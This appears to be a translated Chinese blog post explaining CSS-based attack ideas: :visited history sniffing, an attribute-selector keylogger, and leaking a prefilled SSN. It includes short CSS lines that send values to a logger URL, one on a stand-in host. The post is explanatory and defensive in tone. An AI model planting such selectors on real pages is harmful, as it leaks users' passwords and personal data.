CSS 安全漏洞

不要看标题就担心。 我认为 CSS 不是一个特别危险的安全问题，而且在大多数情况下，我认为您无需担心。

但偶尔会有一些文章流传开来，并引起人们对 CSS 可能做到的某些事情的可能性，这些事情可能会让您感到惊讶或担忧。

这里有一点总结。

访问过的链接问题

这个是这样的

1. 您在您的网站上放一个指向特定页面的链接，比如 <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
2. 您将该链接的访问状态样式设置为 a:visited { color: pink; }，这不是默认的用户代理样式。
3. 您测试该链接的计算样式。
4. 如果它是粉红色的，则该用户是猪挠痒痒者。
5. 您将该猪挠痒痒信息报告回某个服务器，并可能将他们的养猪保险费率提高三倍，因为猪肯定会因为所有的挠痒痒而遭受极度的情绪困扰。

您甚至可能完全在 CSS 中做到这一点，因为 :visited 样式可能类似于 background-image: url(/data-logger/tickle.php);，只有猪挠痒痒者才会请求它。

担心吗？ 不要担心，浏览器已经阻止了这种情况的发生。

键盘记录器

这个是这样的

1. 页面上有一个输入。 可能是一个密码输入。 令人害怕！
2. 您将记录器脚本作为输入背景图像的值，但还添加了十亿个与之相同的选择器，这样记录器就可以收集和报告部分或全部密码。

input[value^="a"] { background: url(logger.php?v=a); }

这个并不容易。 输入的 value 属性不会仅仅因为您在其中输入而改变。 不过，它有时会在 React 等框架中改变，因此，如果您将这个 CSS 放在一个由 React 支持并以这种方式编码的登录页面上，那么理论上这个 CSS 驱动的键盘记录器就可以工作。

但是……在这种情况下，JavaScript 也会在该页面上执行。 JavaScript 在这类事情上比 CSS 令人担忧 1000 倍。 JavaScript 中的键盘记录器只需几行代码即可监视按键事件并通过 Ajax 报告它们。

第三方和 XSS 注入的内联 JavaScript 现在可以通过内容安全策略 (CSP) 来阻止……但 CSS 也可以。

数据窃贼

这个是这样的

1. 如果我能将一些邪恶的 CSS 放到您已在某个网站上进行身份验证的页面上……
2. 并且该网站显示敏感信息，比如社会安全号码 (SSN) 在预先填写的表单中……
3. 我可以使用属性选择器来找出它。

input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

十亿个选择器，你涵盖了所有可能性！

内联样式块问题

我不知道是否一定要责怪 CSS，但想象一下

<style>
  ... Drop in some user-generated stuff ...
</style>

也许您允许用户进行一些 CSS 自定义。 这是一个攻击向量，因为他们可以关闭该样式标签，打开一个脚本标签，并编写邪恶的 JavaScript。

我敢肯定还有很多

有吗？ 分享它们。

让我对应该对 CSS 安全漏洞感到多害怕持有一点怀疑。 我不想淡化安全问题（尤其是 第三方问题），因为我不是专家，安全至关重要，但与此同时，我从未听说过 CSS 是除思想实验之外的任何攻击向量的目标。 教育我！